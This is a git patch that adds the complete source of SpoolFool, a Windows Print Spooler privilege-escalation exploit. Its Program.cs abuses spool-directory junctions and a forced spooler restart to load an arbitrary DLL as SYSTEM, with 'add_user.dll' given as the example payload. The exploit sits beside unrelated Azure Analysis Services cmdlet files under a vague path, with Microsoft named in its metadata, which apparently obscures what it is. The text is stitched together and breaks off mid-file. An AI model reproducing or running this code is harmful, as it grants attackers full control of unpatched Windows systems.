From 4934ccebfdf60e93b9e4c59582ec136064d31418 Mon Sep 17 00:00:00 2001 From: pxcs Date: Mon, 25 Nov 2024 22:28:35 +0800 Subject: [PATCH] Scope --- internal/pleague/AssemblyInfo.cs | 36 ++ internal/pleague/JunctionPoints.cs | 422 ++++++++++++++++++ internal/pleague/Printer.cs | 112 +++++ internal/pleague/Program.cs | 226 ++++++++++ .../GetAzureRmAnalysisServicesServer.cs | 56 +++ ...ewAzureRmAnalysisServicesFirewallConfig.cs | 44 ++ .../NewAzureRmAnalysisServicesFirewallRule.cs | 50 +++ .../NewAzureRmAnalysisServicesServer.cs | 156 +++++++ .../RemoveAzureRmAnalysisServicesServer.cs | 69 +++ .../ResumeAzureRmAnalysisServicesServer.cs | 68 +++ .../SetAzureRmAnalysisServicesServer.cs | 175 ++++++++ .../SuspendAzureRmAnalysisServicesServer.cs | 68 +++ .../TestAzureRmAnalysisServicesServer.cs | 44 ++ internal/pleague/framework.h | 5 + .../pleague/models/AnalysisServicesClient.cs | 291 ++++++++++++ .../models/AnalysisServicesCmdletBase.cs | 60 +++ .../models/AzureAnalysisServicesServer.cs | 120 +++++ .../PsAzureAnalysisServicesFirewallConfig.cs | 34 ++ .../PsAzureAnalysisServicesFirewallRule.cs | 37 ++ internal/pleague/models/ServerGateway.cs | 28 ++ internal/pleague/models/ServerSku.cs | 28 ++ .../models/StringOrByteArrayInstance.cs | 36 ++ internal/pleague/properties/AssemblyInfo.cs | 38 ++ .../pleague/properties/Resources.Designer.cs | 234 ++++++++++ internal/pleague/properties/Resources.resx | 177 ++++++++ 25 files changed, 2614 insertions(+) create mode 100644 internal/pleague/AssemblyInfo.cs create mode 100644 internal/pleague/JunctionPoints.cs create mode 100644 internal/pleague/Printer.cs create mode 100644 internal/pleague/Program.cs create mode 100644 internal/pleague/commands/GetAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/commands/NewAzureRmAnalysisServicesFirewallConfig.cs create mode 100644 internal/pleague/commands/NewAzureRmAnalysisServicesFirewallRule.cs create mode 100644 internal/pleague/commands/NewAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/commands/RemoveAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/commands/ResumeAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/commands/SetAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/commands/SuspendAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/commands/TestAzureRmAnalysisServicesServer.cs create mode 100644 internal/pleague/framework.h create mode 100644 internal/pleague/models/AnalysisServicesClient.cs create mode 100644 internal/pleague/models/AnalysisServicesCmdletBase.cs create mode 100644 internal/pleague/models/AzureAnalysisServicesServer.cs create mode 100644 internal/pleague/models/PsAzureAnalysisServicesFirewallConfig.cs create mode 100644 internal/pleague/models/PsAzureAnalysisServicesFirewallRule.cs create mode 100644 internal/pleague/models/ServerGateway.cs create mode 100644 internal/pleague/models/ServerSku.cs create mode 100644 internal/pleague/models/StringOrByteArrayInstance.cs create mode 100644 internal/pleague/properties/AssemblyInfo.cs create mode 100644 internal/pleague/properties/Resources.Designer.cs create mode 100644 internal/pleague/properties/Resources.resx diff --git a/internal/pleague/AssemblyInfo.cs b/internal/pleague/AssemblyInfo.cs new file mode 100644 index 0000000..2520aab --- /dev/null +++ b/internal/pleague/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SpoolFool")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Microsoft")] +[assembly: AssemblyProduct("SpoolFool")] +[assembly: AssemblyCopyright("Copyright © Microsoft 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("ec49a1b1-4daa-47b1-90d1-787d44c641c0")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/internal/pleague/JunctionPoints.cs b/internal/pleague/JunctionPoints.cs new file mode 100644 index 0000000..03f5d3f --- /dev/null +++ b/internal/pleague/JunctionPoints.cs @@ -0,0 +1,422 @@ +// Taken from https://gist.github.com/LGM-AdrianHum/260bc9ab3c4cd49bc8617a2abe84ca74 +using System; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Win32.SafeHandles; + +namespace SpoolFool +{ + /// + /// Provides access to NTFS junction points in .Net. + /// + [SuppressMessage("ReSharper", "InconsistentNaming")] + [SuppressMessage("ReSharper", "UnusedMember.Local")] + [SuppressMessage("ReSharper", "MemberCanBePrivate.Local")] + [SuppressMessage("ReSharper", "FieldCanBeMadeReadOnly.Local")] + public static class JunctionPoint + { + /// + /// The file or directory is not a reparse point. + /// + private const int ERROR_NOT_A_REPARSE_POINT = 4390; + + /// + /// The reparse point attribute cannot be set because it conflicts with an existing attribute. + /// + private const int ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391; + + /// + /// The data present in the reparse point buffer is invalid. + /// + private const int ERROR_INVALID_REPARSE_DATA = 4392; + + /// + /// The tag present in the reparse point buffer is invalid. + /// + private const int ERROR_REPARSE_TAG_INVALID = 4393; + + /// + /// There is a mismatch between the tag specified in the request and the tag present in the reparse point. + /// + private const int ERROR_REPARSE_TAG_MISMATCH = 4394; + + /// + /// Command to set the reparse point data block. + /// + private const int FSCTL_SET_REPARSE_POINT = 0x000900A4; + + /// + /// Command to get the reparse point data block. + /// + private const int FSCTL_GET_REPARSE_POINT = 0x000900A8; + + /// + /// Command to delete the reparse point data base. + /// + private const int FSCTL_DELETE_REPARSE_POINT = 0x000900AC; + + /// + /// Reparse point tag used to identify mount points and junction points. + /// + private const uint IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003; + + /// + /// This prefix indicates to NTFS that the path is to be treated as a non-interpreted + /// path in the virtual file system. + /// + private const string NonInterpretedPathPrefix = @"\??\"; + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, + IntPtr InBuffer, int nInBufferSize, + IntPtr OutBuffer, int nOutBufferSize, + out int pBytesReturned, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr CreateFile( + string lpFileName, + EFileAccess dwDesiredAccess, + EFileShare dwShareMode, + IntPtr lpSecurityAttributes, + ECreationDisposition dwCreationDisposition, + EFileAttributes dwFlagsAndAttributes, + IntPtr hTemplateFile); + + /// + /// Creates a junction point from the specified directory to the specified target directory. + /// + /// + /// Only works on NTFS. + /// + /// The junction point path + /// The target directory + /// If true overwrites an existing reparse point or empty directory + /// + /// Thrown when the junction point could not be created or when + /// an existing directory was found and if false + /// + public static void Create(string junctionPoint, string targetDir, bool overwrite) + { + targetDir = Path.GetFullPath(targetDir); + + if (!Directory.Exists(targetDir)) + throw new IOException("Target path does not exist or is not a directory."); + + if (Directory.Exists(junctionPoint)) + { + if (!overwrite) + throw new IOException("Directory already exists and overwrite parameter is false."); + } + else + { + Directory.CreateDirectory(junctionPoint); + } + + using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericWrite)) + { + var targetDirBytes = Encoding.Unicode.GetBytes(NonInterpretedPathPrefix + Path.GetFullPath(targetDir)); + + var reparseDataBuffer = + new REPARSE_DATA_BUFFER + { + ReparseTag = IO_REPARSE_TAG_MOUNT_POINT, + ReparseDataLength = (ushort)(targetDirBytes.Length + 12), + SubstituteNameOffset = 0, + SubstituteNameLength = (ushort)targetDirBytes.Length, + PrintNameOffset = (ushort)(targetDirBytes.Length + 2), + PrintNameLength = 0, + PathBuffer = new byte[0x3ff0] + }; + + Array.Copy(targetDirBytes, reparseDataBuffer.PathBuffer, targetDirBytes.Length); + + var inBufferSize = Marshal.SizeOf(reparseDataBuffer); + var inBuffer = Marshal.AllocHGlobal(inBufferSize); + + try + { + Marshal.StructureToPtr(reparseDataBuffer, inBuffer, false); + + int bytesReturned; + var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_SET_REPARSE_POINT, + inBuffer, targetDirBytes.Length + 20, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero); + + if (!result) + ThrowLastWin32Error("Unable to create junction point."); + } + finally + { + Marshal.FreeHGlobal(inBuffer); + } + } + } + + /// + /// Deletes a junction point at the specified source directory along with the directory itself. + /// Does nothing if the junction point does not exist. + /// + /// + /// Only works on NTFS. + /// + /// The junction point path + public static void Delete(string junctionPoint) + { + if (!Directory.Exists(junctionPoint)) + { + if (File.Exists(junctionPoint)) + throw new IOException("Path is not a junction point."); + + return; + } + + using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericWrite)) + { + var reparseDataBuffer = new REPARSE_DATA_BUFFER + { + ReparseTag = IO_REPARSE_TAG_MOUNT_POINT, + ReparseDataLength = 0, + PathBuffer = new byte[0x3ff0] + }; + + + var inBufferSize = Marshal.SizeOf(reparseDataBuffer); + var inBuffer = Marshal.AllocHGlobal(inBufferSize); + try + { + Marshal.StructureToPtr(reparseDataBuffer, inBuffer, false); + + int bytesReturned; + var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_DELETE_REPARSE_POINT, + inBuffer, 8, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero); + + if (!result) + ThrowLastWin32Error("Unable to delete junction point."); + } + finally + { + Marshal.FreeHGlobal(inBuffer); + } + + try + { + Directory.Delete(junctionPoint); + } + catch (IOException ex) + { + throw new IOException("Unable to delete junction point.", ex); + } + } + } + + /// + /// Determines whether the specified path exists and refers to a junction point. + /// + /// The junction point path + /// True if the specified path represents a junction point + /// + /// Thrown if the specified path is invalid + /// or some other error occurs + /// + public static bool Exists(string path) + { + if (!Directory.Exists(path)) + return false; + + using (var handle = OpenReparsePoint(path, EFileAccess.GenericRead)) + { + var target = InternalGetTarget(handle); + return target != null; + } + } + + /// + /// Gets the target of the specified junction point. + /// + /// + /// Only works on NTFS. + /// + /// The junction point path + /// The target of the junction point + /// + /// Thrown when the specified path does not + /// exist, is invalid, is not a junction point, or some other error occurs + /// + public static string GetTarget(string junctionPoint) + { + using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericRead)) + { + var target = InternalGetTarget(handle); + if (target == null) + throw new IOException("Path is not a junction point."); + + return target; + } + } + + private static string InternalGetTarget(SafeFileHandle handle) + { + var outBufferSize = Marshal.SizeOf(typeof(REPARSE_DATA_BUFFER)); + var outBuffer = Marshal.AllocHGlobal(outBufferSize); + + try + { + int bytesReturned; + var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_GET_REPARSE_POINT, + IntPtr.Zero, 0, outBuffer, outBufferSize, out bytesReturned, IntPtr.Zero); + + if (!result) + { + var error = Marshal.GetLastWin32Error(); + if (error == ERROR_NOT_A_REPARSE_POINT) + return null; + + ThrowLastWin32Error("Unable to get information about junction point."); + } + + var reparseDataBuffer = (REPARSE_DATA_BUFFER) + Marshal.PtrToStructure(outBuffer, typeof(REPARSE_DATA_BUFFER)); + + if (reparseDataBuffer.ReparseTag != IO_REPARSE_TAG_MOUNT_POINT) + return null; + + var targetDir = Encoding.Unicode.GetString(reparseDataBuffer.PathBuffer, + reparseDataBuffer.SubstituteNameOffset, reparseDataBuffer.SubstituteNameLength); + + if (targetDir.StartsWith(NonInterpretedPathPrefix)) + targetDir = targetDir.Substring(NonInterpretedPathPrefix.Length); + + return targetDir; + } + finally + { + Marshal.FreeHGlobal(outBuffer); + } + } + + private static SafeFileHandle OpenReparsePoint(string reparsePoint, EFileAccess accessMode) + { + var reparsePointHandle = new SafeFileHandle(CreateFile(reparsePoint, accessMode, + EFileShare.Read | EFileShare.Write | EFileShare.Delete, + IntPtr.Zero, ECreationDisposition.OpenExisting, + EFileAttributes.BackupSemantics | EFileAttributes.OpenReparsePoint, IntPtr.Zero), true); + + if (Marshal.GetLastWin32Error() != 0) + ThrowLastWin32Error("Unable to open reparse point."); + + return reparsePointHandle; + } + + private static void ThrowLastWin32Error(string message) + { + throw new IOException(message, Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error())); + } + + [Flags] + private enum EFileAccess : uint + { + GenericRead = 0x80000000, + GenericWrite = 0x40000000, + GenericExecute = 0x20000000, + GenericAll = 0x10000000 + } + + [Flags] + private enum EFileShare : uint + { + None = 0x00000000, + Read = 0x00000001, + Write = 0x00000002, + Delete = 0x00000004 + } + + private enum ECreationDisposition : uint + { + New = 1, + CreateAlways = 2, + OpenExisting = 3, + OpenAlways = 4, + TruncateExisting = 5 + } + + [Flags] + private enum EFileAttributes : uint + { + Readonly = 0x00000001, + Hidden = 0x00000002, + System = 0x00000004, + Directory = 0x00000010, + Archive = 0x00000020, + Device = 0x00000040, + Normal = 0x00000080, + Temporary = 0x00000100, + SparseFile = 0x00000200, + ReparsePoint = 0x00000400, + Compressed = 0x00000800, + Offline = 0x00001000, + NotContentIndexed = 0x00002000, + Encrypted = 0x00004000, + Write_Through = 0x80000000, + Overlapped = 0x40000000, + NoBuffering = 0x20000000, + RandomAccess = 0x10000000, + SequentialScan = 0x08000000, + DeleteOnClose = 0x04000000, + BackupSemantics = 0x02000000, + PosixSemantics = 0x01000000, + OpenReparsePoint = 0x00200000, + OpenNoRecall = 0x00100000, + FirstPipeInstance = 0x00080000 + } + + [StructLayout(LayoutKind.Sequential)] + private struct REPARSE_DATA_BUFFER + { + /// + /// Reparse point tag. Must be a Microsoft reparse point tag. + /// + public uint ReparseTag; + + /// + /// Size, in bytes, of the data after the Reserved member. This can be calculated by: + /// (4 * sizeof(ushort)) + SubstituteNameLength + PrintNameLength + + /// (namesAreNullTerminated ? 2 * sizeof(char) : 0); + /// + public ushort ReparseDataLength; + + /// + /// Reserved; do not use. + /// + public ushort Reserved; + + /// + /// Offset, in bytes, of the substitute name string in the PathBuffer array. + /// + public ushort SubstituteNameOffset; + + /// + /// Length, in bytes, of the substitute name string. If this string is null-terminated, + /// SubstituteNameLength does not include space for the null character. + /// + public ushort SubstituteNameLength; + + /// + /// Offset, in bytes, of the print name string in the PathBuffer array. + /// + public ushort PrintNameOffset; + + /// + /// Length, in bytes, of the print name string. If this string is null-terminated, + /// PrintNameLength does not include space for the null character. + /// + public ushort PrintNameLength; + + /// + /// A buffer containing the unicode-encoded path string. The path string contains + /// the substitute name string and print name string. + /// + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x3FF0)] public byte[] PathBuffer; + } + } +} \ No newline at end of file diff --git a/internal/pleague/Printer.cs b/internal/pleague/Printer.cs new file mode 100644 index 0000000..e73913f --- /dev/null +++ b/internal/pleague/Printer.cs @@ -0,0 +1,112 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace SpoolFool +{ + class Printer + { + + [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] + static extern bool OpenPrinter(string pPrinterName, out IntPtr phPrinter, ref PRINTER_DEFAULTS pDefault); + + [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] + static extern IntPtr AddPrinter(string pPrinterName, int level, ref PRINTER_INFO_2 printerInfo); + + [StructLayout(LayoutKind.Sequential)] + struct PRINTER_DEFAULTS + { + [MarshalAs(UnmanagedType.LPTStr)] public string pDatatype; + public IntPtr pDevMode; + public int DesiredAccess; + } + + private const int PRINTER_ACCESS_ADMINISTRATOR = 0x4; + private const int PRINTER_ACCESS_USE = 0x8; + private const int STANDARD_RIGHTS_REQUIRED = 0xF0000; + private const int PRINTER_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | PRINTER_ACCESS_ADMINISTRATOR | PRINTER_ACCESS_USE; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct PRINTER_INFO_2 + { + [MarshalAs(UnmanagedType.LPTStr)] + public string pServerName; + [MarshalAs(UnmanagedType.LPTStr)] + public string pPrinterName; + [MarshalAs(UnmanagedType.LPTStr)] + public string pShareName; + [MarshalAs(UnmanagedType.LPTStr)] + public string pPortName; + [MarshalAs(UnmanagedType.LPTStr)] + public string pDriverName; + [MarshalAs(UnmanagedType.LPTStr)] + public string pComment; + [MarshalAs(UnmanagedType.LPTStr)] + public string pLocation; + public IntPtr pDevMode; + [MarshalAs(UnmanagedType.LPTStr)] + public string pSepFile; + [MarshalAs(UnmanagedType.LPTStr)] + public string pPrintProcessor; + [MarshalAs(UnmanagedType.LPTStr)] + public string pDatatype; + [MarshalAs(UnmanagedType.LPTStr)] + public string pParameters; + public IntPtr pSecurityDescriptor; + public uint Attributes; // See note below! + public uint Priority; + public uint DefaultPriority; + public uint StartTime; + public uint UntilTime; + public uint Status; + public uint cJobs; + public uint AveragePPM; + } + + [DllImport("winspool.drv")] + static extern bool GetPrinterDriverDirectory(StringBuilder pName, + StringBuilder pEnv, + int Level, + [Out] StringBuilder outPath, + int bufferSize, + ref int Bytes); + + [DllImport("winspool.drv")] + internal static extern int SetPrinterDataEx(IntPtr pHandle, + string pKeyName, + string pValueName, + int Type, + string pData, + int cbData); + + internal static string GetDriverDirectory() + { + StringBuilder str = new StringBuilder(1024); + int i = 0; + GetPrinterDriverDirectory(null, null, 1, str, 1024, ref i); + return str.ToString(); + } + + internal static bool OpenExistingPrinter(string printerName, ref IntPtr pHandle) + { + PRINTER_DEFAULTS defaults = new PRINTER_DEFAULTS(); + defaults.DesiredAccess = PRINTER_ALL_ACCESS; + + return OpenPrinter(printerName, out pHandle, ref defaults); + } + + internal static IntPtr CreatePrinter(string printerName) + { + PRINTER_INFO_2 printerInfo = new PRINTER_INFO_2(); + printerInfo.pPrinterName = printerName; + printerInfo.pDriverName = "Microsoft XPS Document Writer v4"; + printerInfo.pPortName = "PORTPROMPT:"; + printerInfo.pPrintProcessor = "winprint"; + printerInfo.pDatatype = "RAW"; + + IntPtr hPrinter = AddPrinter("", 2, ref printerInfo); + + return hPrinter; + } + } +} diff --git a/internal/pleague/Program.cs b/internal/pleague/Program.cs new file mode 100644 index 0000000..72902aa --- /dev/null +++ b/internal/pleague/Program.cs @@ -0,0 +1,226 @@ +using System; +using System.Linq; +using System.Threading; +using System.IO; +using System.Security.AccessControl; +using System.Runtime.InteropServices; + +namespace SpoolFool +{ + public class Program + { + [DllImport("shell32.dll", SetLastError = true)] + static extern IntPtr CommandLineToArgvW( + [MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs); + + public static void CommandEntry(string commandLine) + { + if (commandLine == "" || commandLine == null) + { + Main(null); + return; + } + + int argc; + var argv = CommandLineToArgvW(commandLine, out argc); + + if (argv == IntPtr.Zero) + throw new System.ComponentModel.Win32Exception(); + try + { + var args = new string[argc]; + for (var i = 0; i < args.Length; i++) + { + var p = Marshal.ReadIntPtr(argv, i * IntPtr.Size); + args[i] = Marshal.PtrToStringUni(p); + } + + Main(args); + + } + finally + { + Marshal.FreeHGlobal(argv); + } + } + + internal static void Main(string[] args) + { + string moduleName = System.Reflection.Assembly.GetExecutingAssembly().Location; + + if (args == null || !args.Any()) + { + Console.WriteLine(); + Console.WriteLine("SpoolFool"); + Console.WriteLine(" By Oliver Lyak (@ly4k_)"); + Console.WriteLine(); + Console.WriteLine("Examples:"); + Console.WriteLine(" {0} -dll add_user.dll", moduleName); + Console.WriteLine(" {0} -dll add_user.dll -printer 'My Printer'", moduleName); + Console.WriteLine(" {0} -dll add_user.dll -dir 'SECRET'", moduleName); + Console.WriteLine(" {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET'", moduleName); + return; + } + + string argPrinterName = "Microsoft XPS Document Writer v4"; + string argDriverDirectory = "4"; + string argSourceDLL = ""; + IntPtr pHandle = new IntPtr(0); + + foreach (var entry in args.Select((value, index) => new { index, value })) + { + string argument = entry.value.ToUpper(); + + switch (argument) + { + case "-PRINTER": + case "/PRINTER": + argPrinterName = args[entry.index + 1]; + break; + + case "-DIR": + case "/DIR": + argDriverDirectory = args[entry.index + 1]; + break; + + case "-DLL": + case "/DLL": + argSourceDLL = args[entry.index + 1]; + break; + } + } + + if (argSourceDLL == "") + { + Console.WriteLine("[-] Please specify a DLL"); + return; + } + + if (File.Exists(argSourceDLL) == false) + { + Console.WriteLine("[-] Could not find DLL: {0}", argSourceDLL); + return; + } + + if (argDriverDirectory == "") + { + argDriverDirectory = "{" + Guid.NewGuid().ToString().ToUpper() + "}"; + Console.WriteLine("[*] Generating random driver directory: {0}", argDriverDirectory); + } + + string tempPath = Path.GetTempPath(); + string baseDirectory = Path.Combine(tempPath, Guid.NewGuid().ToString()); + + string driverDir = Printer.GetDriverDirectory(); + string targetDir = Path.Combine(driverDir, argDriverDirectory); + string linkDirectory = "\\\\localhost\\C$\\" + Path.Combine(baseDirectory, argDriverDirectory).Substring(3); // Remove 'C:\' + + string sourceDllName = Path.GetFileName(argSourceDLL); + string targetDll = Path.Combine(targetDir, sourceDllName); + + Console.WriteLine("[*] Using printer name: {0}", argPrinterName); + Console.WriteLine("[*] Using driver directory: {0}", argDriverDirectory); + + Directory.CreateDirectory(baseDirectory); + + Console.WriteLine("[*] Using temporary base directory: {0}", baseDirectory); + + Console.WriteLine("[*] Trying to open existing printer: {0}", argPrinterName); + if (Printer.OpenExistingPrinter(argPrinterName, ref pHandle) == false) + { + Console.WriteLine("[*] Failed to open existing printer: {0}", argPrinterName); + Console.WriteLine("[*] Trying to create printer: {0}", argPrinterName); + pHandle = Printer.CreatePrinter(argPrinterName); + if (pHandle == IntPtr.Zero) + { + Console.WriteLine("[-] Failed to create printer: {0}", argPrinterName); + return; + } + else + { + Console.WriteLine("[+] Created printer: {0}", argPrinterName); + } + } + else + { + Console.WriteLine("[+] Opened existing printer: {0}", argPrinterName); + } + + if (Directory.Exists(targetDir)) + { + Console.WriteLine("[*] Target directory already exists", targetDir); + goto LOAD_DLL; + } + + Console.WriteLine("[*] Setting spool directory to: {0}", linkDirectory); + if (Printer.SetPrinterDataEx(pHandle, "\\", "SpoolDirectory", 1, linkDirectory, linkDirectory.Length) == 0) + { + Console.WriteLine("[+] Successfully set the spool directory to: {0}", linkDirectory); + } + else + { + Console.WriteLine("[-] Failed to set the spool directory to: {0}", linkDirectory); + return; + } + + Console.WriteLine("[*] Creating junction point: {0} -> {1}", baseDirectory, driverDir); + JunctionPoint.Create(baseDirectory, driverDir, true); + + string terminator = "C:\\Windows\\System32\\AppVTerminator.dll"; + + Console.WriteLine("[*] Forcing spooler to restart"); + + Printer.SetPrinterDataEx(pHandle, "CopyFiles\\", "Module", 1, terminator, terminator.Length); + + Console.Write("[*] Waiting for spooler to restart"); + + while (true) + { + Thread.Sleep(2000); + + Console.Write("."); + + if (Printer.OpenExistingPrinter(argPrinterName, ref pHandle)) + { + Console.WriteLine(""); + break; + } + } + + Console.WriteLine("[+] Spooler restarted"); + + if (Directory.Exists(targetDir)) + { + Console.WriteLine("[+] Successfully created driver directory: {0}", targetDir); + } + else + { + Console.WriteLine("[-] Failed to create driver directory: {0}", targetDir); + return; + } + + LOAD_DLL: + Console.WriteLine("[*] Copying DLL: {0} -> {1}", argSourceDLL, targetDll); + + if (File.Exists(targetDll)) + { + Console.WriteLine("[*] DLL already exists: {0}", targetDll); + Console.WriteLine("[*] Trying to delete DLL: {0}", targetDll); + File.Delete(targetDll); + } + + File.Copy(argSourceDLL, targetDll); + + Console.WriteLine("[*] Granting read and execute to SYSTEM on DLL: {0}", targetDll); + FileSecurity fSecurity = File.GetAccessControl(targetDll); + fSecurity.AddAccessRule(new FileSystemAccessRule(@"System", FileSystemRights.ReadAndExecute, AccessControlType.Allow)); + File.SetAccessControl(targetDll, fSecurity); + + Console.WriteLine("[*] Loading DLL as SYSTEM: {0}", targetDll); + Printer.SetPrinterDataEx(pHandle, "CopyFiles\\", "Module", 1, targetDll, targetDll.Length); + Console.WriteLine("[*] DLL should be loaded"); + + Directory.Delete(baseDirectory); + } + } +} diff --git a/internal/pleague/commands/GetAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/GetAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..d118650 --- /dev/null +++ b/internal/pleague/commands/GetAzureRmAnalysisServicesServer.cs @@ -0,0 +1,56 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Management.Analysis; +using System.Collections.Generic; +using System.Management.Automation; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("Get", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer"),OutputType(typeof(AzureAnalysisServicesServer))] + [Alias("Get-" + ResourceManager.Common.AzureRMConstants.AzurePrefix + "As")] + public class GetAzureAnalysisServicesServer : AnalysisServicesCmdletBase + { + [Parameter(Position = 0, + ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "Name of resource group under which the user want to retrieve the server.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + [Parameter(Position = 1, ValueFromPipelineByPropertyName = true, + Mandatory = false, HelpMessage = "Name of a specific server.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + public override void ExecuteCmdlet() + { + if (!string.IsNullOrEmpty(Name)) + { + // Get for single server + var server = AnalysisServicesClient.GetServer(ResourceGroupName, Name); + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServer(server)); + } + else + { + // List all servers in given resource group if avaliable otherwise all servers in the subscription + var list = AnalysisServicesClient.ListServers(ResourceGroupName); + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServerCollection(list), true); + } + } + } +} diff --git a/internal/pleague/commands/NewAzureRmAnalysisServicesFirewallConfig.cs b/internal/pleague/commands/NewAzureRmAnalysisServicesFirewallConfig.cs new file mode 100644 index 0000000..b336990 --- /dev/null +++ b/internal/pleague/commands/NewAzureRmAnalysisServicesFirewallConfig.cs @@ -0,0 +1,44 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using System.Collections; +using System.Linq; +using System.Management.Automation; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Rest.Azure; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; +using System.Collections.Generic; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("New", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesFirewallConfig"), OutputType(typeof(PsAzureAnalysisServicesFirewallConfig))] + public class NewAzureRmAnalysisServicesFirewallConfig : AnalysisServicesCmdletBase + { + [Parameter(Mandatory = false, + HelpMessage = "Option to enable PowerBI service")] + public SwitchParameter EnablePowerBIService { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "Firewall rules")] + public List FirewallRule { get; set; } + + public override void ExecuteCmdlet() + { + PsAzureAnalysisServicesFirewallConfig config = new PsAzureAnalysisServicesFirewallConfig((EnablePowerBIService) ? true : false, FirewallRule); + WriteObject(config); + } + } +} diff --git a/internal/pleague/commands/NewAzureRmAnalysisServicesFirewallRule.cs b/internal/pleague/commands/NewAzureRmAnalysisServicesFirewallRule.cs new file mode 100644 index 0000000..fea5631 --- /dev/null +++ b/internal/pleague/commands/NewAzureRmAnalysisServicesFirewallRule.cs @@ -0,0 +1,50 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using System.Collections; +using System.Linq; +using System.Management.Automation; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Rest.Azure; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("New", ResourceManager.Common.AzureRMConstants.AzureRMPrefix 